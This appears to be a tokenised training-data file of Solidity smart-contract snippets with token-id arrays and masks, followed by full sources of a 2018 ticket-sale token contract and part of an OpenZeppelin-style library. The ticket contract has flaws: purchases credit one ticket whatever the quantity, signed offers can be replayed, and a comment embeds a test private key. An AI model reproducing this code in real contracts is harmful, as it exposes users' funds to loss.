function isInitialized(Project memory _project) internal pure returns (bool) { if ( bytes(_project.artist).length == 0 || bytes(_project.description).length == 0 ) { return false; } return true; }
6,689,780
[ 1, 67, 4406, 5916, 1984, 1958, 327, 1053, 309, 1984, 711, 1931, 2172, 1472, 16, 629, 309, 486, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 25359, 12, 4109, 3778, 389, 4406, 13, 2713, 16618, 1135, 261, 6430, 13, 288, 203, 565, 309, 261, 203, 1377, 1731, 24899, 4406, 18, 25737, 2934, 2469, 422, 374, 747, 203, 1377, 1731, 24899, 4406, 18, 3384, 2934, 2469, 422, 374, 203, 565, 262, 288, 203, 1377, 327, 629, 31, 203, 565, 289, 203, 565, 327, 638, 31, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
//Address: 0xb80463f354b54b958e88b4d5385693bb554cbd8e //Contract name: TicketPro //Balance: 0 Ether //Verification Date: 1/31/2018 //Transacion Count: 1 // CODE STARTS HERE //params: 100,"MJ comeback", 1603152000, 0, "21/10/2020", "MGM grand", "MJC", 100000000, 10 // "0x000000000000000000000000000000000000000000000000016a6075a7170002", 27, "0xE26D930533CF5E36051C576E1988D096727F28A4AB638DBE7729BCC067BD06C8", "0x76EBAA64A541D1DE054F4B63B586E7FEB485C1B3E85EA463F873CA69307EEEAA" pragma solidity ^0.4.17; contract ERC20 { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); //function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); //function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract TicketPro is ERC20 { //erc20 wiki: https://theethereum.wiki/w/index.php/ERC20_Token_Standard //maybe allow tickets to be purchased through contract?? uint totalTickets; mapping(address => uint) balances; uint expiryTimeStamp; address admin; uint transferFee; uint numOfTransfers = 0; string public name; string public symbol; string public date; string public venue; bytes32[] orderHashes; uint startPrice; uint limitOfStartTickets; uint8 public constant decimals = 0; //no decimals as tickets cannot be split event Transfer(address indexed _from, address indexed _to, uint _value); event TransferFrom(address indexed _from, address indexed _to, uint _value); modifier eventNotExpired() { //not perfect but probably good enough if(block.timestamp > expiryTimeStamp) { revert(); } else _; } modifier adminOnly() { if(msg.sender != admin) revert(); else _; } function() public { revert(); } //should not send any ether directly function TicketPro(uint numberOfTickets, string evName, uint expiry, uint fee, string evDate, string evVenue, string eventSymbol, uint price, uint startTicketLimit) public { totalTickets = numberOfTickets; //event organizer has all the tickets in the beginning balances[msg.sender] = totalTickets; expiryTimeStamp = expiry; admin = msg.sender; //100 fee = 1 ether transferFee = (1 ether * fee) / 100; symbol = eventSymbol; name = evName; date = evDate; venue = evVenue; startPrice = price; limitOfStartTickets= startTicketLimit; } //note that tickets cannot be split, it has to be a whole number function buyATicketFromContract(uint numberOfTickets) public payable returns (bool) { //no decimal points allowed in a token if(msg.value != startPrice * numberOfTickets || numberOfTickets % 1 != 0) revert(); admin.transfer(msg.value); balances[msg.sender] += 1; return true; } function getTicketStartPrice() public view returns(uint) { return startPrice; } function getDecimals() public pure returns(uint) { return decimals; } function getNumberOfAvailableStartTickets() public view returns (uint) { return limitOfStartTickets; } //buyer pays all the fees, seller doesn't even need to have ether to do trade function deliveryVSpayment(bytes32 offer, uint8 v, bytes32 r, bytes32 s) public payable returns(bool) { var (seller, quantity, price, agreementIsValid) = recover(offer, v, r, s); //if the agreement hash matches then the trade can take place uint cost = price * quantity; if(agreementIsValid && msg.value == cost) { //send over ether and tokens balances[msg.sender] += uint(quantity); balances[seller] -= uint(quantity); uint commission = (msg.value / 100) * transferFee; uint sellerAmt = msg.value - commission; seller.transfer(sellerAmt); admin.transfer(commission); numOfTransfers++; return true; } else revert(); } // to test: suppose the offer is to sell 2 tickets at 0.102ETH // which is 0x16A6075A7170000 WEI // the parameters are: // "0x000000000000000000000000000000000000000000000000016a6075a7170002", 27, "0x0071d8bc2f3c9b8102bc03660d525ab872070eb036cd75f0c503bdba8a9406d8","0xb1649086e9df334e9831dc7d57cb61808f7c07d1422ef150a43f9df92c48665c" // I generated the test parameter with this: /* #!/usr/bin/python3 import ecdsa, binascii secexp = 0xc64031ec35f5fc700264f6bb2d6342f63e020673f79ed70dbbd56fb8d46351ed sk = ecdsa.SigningKey.from_secret_exponent(secexp, curve=ecdsa.SECP256k1) # 1 tickets at the price of 2 wei offer = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x6A\x60\x75\xA7\x17\x00\x02' r, s = sk.sign_digest(offer, sigencode=ecdsa.util.sigencode_strings) ## 27 can be any of 27, 28, 29, 30. Use proper algorithm in production print('"0x{}", {}, "0x{}","0x{}"'.format( binascii.hexlify(offer).decode("ascii"), 27, binascii.hexlify(r).decode("ascii"), binascii.hexlify(s).decode("ascii"))) */ function recover(bytes32 offer, uint8 v, bytes32 r, bytes32 s) public view returns (address seller, uint16 quantity, uint256 price, bool agreementIsValid) { quantity = uint16(offer & 0xffff); price = uint256(offer >> 16 << 16); seller = ecrecover(offer, v, r, s); agreementIsValid = balances[seller] >= quantity; } function totalSupply() public constant returns(uint) { return totalTickets; } function eventName() public constant returns(string) { return name; } function eventVenue() public constant returns(string) { return venue; } function eventDate() public constant returns(string) { return date; } function getAmountTransferred() public view returns (uint) { return numOfTransfers; } function isContractExpired() public view returns (bool) { if(block.timestamp > expiryTimeStamp) { return true; } else return false; } function balanceOf(address _owner) public constant returns (uint) { return balances[_owner]; } //transfers can be free but at the users own risk function transfer(address _to, uint _value) public returns(bool) { if(balances[msg.sender] < _value) revert(); balances[_to] += _value; balances[msg.sender] -= _value; numOfTransfers++; return true; } //good for revoking tickets, for refunds etc. function transferFrom(address _from, address _to, uint _value) adminOnly public returns (bool) { if(balances[_from] >= _value) { balances[_from] -= _value; balances[_to] += _value; TransferFrom(_from,_to, _value); numOfTransfers++; return true; } else return false; } }
good for revoking tickets, for refunds etc.
function transferFrom(address _from, address _to, uint _value) adminOnly public returns (bool) { if(balances[_from] >= _value) { balances[_from] -= _value; balances[_to] += _value; TransferFrom(_from,_to, _value); numOfTransfers++; return true; } else return false; }
6,381,391
[ 1, 19747, 364, 5588, 601, 310, 24475, 16, 364, 16255, 87, 5527, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 7412, 1265, 12, 2867, 389, 2080, 16, 1758, 389, 869, 16, 2254, 389, 1132, 13, 203, 3639, 3981, 3386, 1071, 1135, 261, 6430, 13, 203, 565, 288, 203, 3639, 309, 12, 70, 26488, 63, 67, 2080, 65, 1545, 389, 1132, 13, 203, 3639, 288, 203, 5411, 324, 26488, 63, 67, 2080, 65, 3947, 389, 1132, 31, 203, 5411, 324, 26488, 63, 67, 869, 65, 1011, 389, 1132, 31, 203, 5411, 12279, 1265, 24899, 2080, 16, 67, 869, 16, 389, 1132, 1769, 203, 5411, 23153, 1429, 18881, 9904, 31, 203, 5411, 327, 638, 31, 203, 3639, 289, 203, 3639, 469, 327, 629, 31, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/3/0x5A54786A61ad0799068C80D00297956Cdc46Bd0a/sources/NFT_C2021.sol
_balances[from] -= 1;emit TokenTransferred(from, to, msg.sender);
public virtual { require(msg.sender == _admin, "Not yours"); require(currentToken < maxToken, "No more tokens"); _owner[currentToken] = to; _balances[to] += 1; }
8,219,717
[ 1, 67, 70, 26488, 63, 2080, 65, 3947, 404, 31, 18356, 3155, 1429, 4193, 12, 2080, 16, 358, 16, 1234, 18, 15330, 1769, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 1071, 5024, 288, 203, 203, 202, 202, 6528, 12, 3576, 18, 15330, 422, 389, 3666, 16, 315, 1248, 3433, 87, 8863, 203, 1082, 203, 202, 202, 6528, 12, 2972, 1345, 411, 943, 1345, 16, 315, 2279, 1898, 2430, 8863, 203, 3639, 389, 8443, 63, 2972, 1345, 65, 273, 358, 31, 203, 203, 3639, 389, 70, 26488, 63, 869, 65, 1011, 404, 31, 203, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2021-09-23 */ // SPDX-License-Identifier: MIT pragma solidity =0.6.12; // /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // // /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, 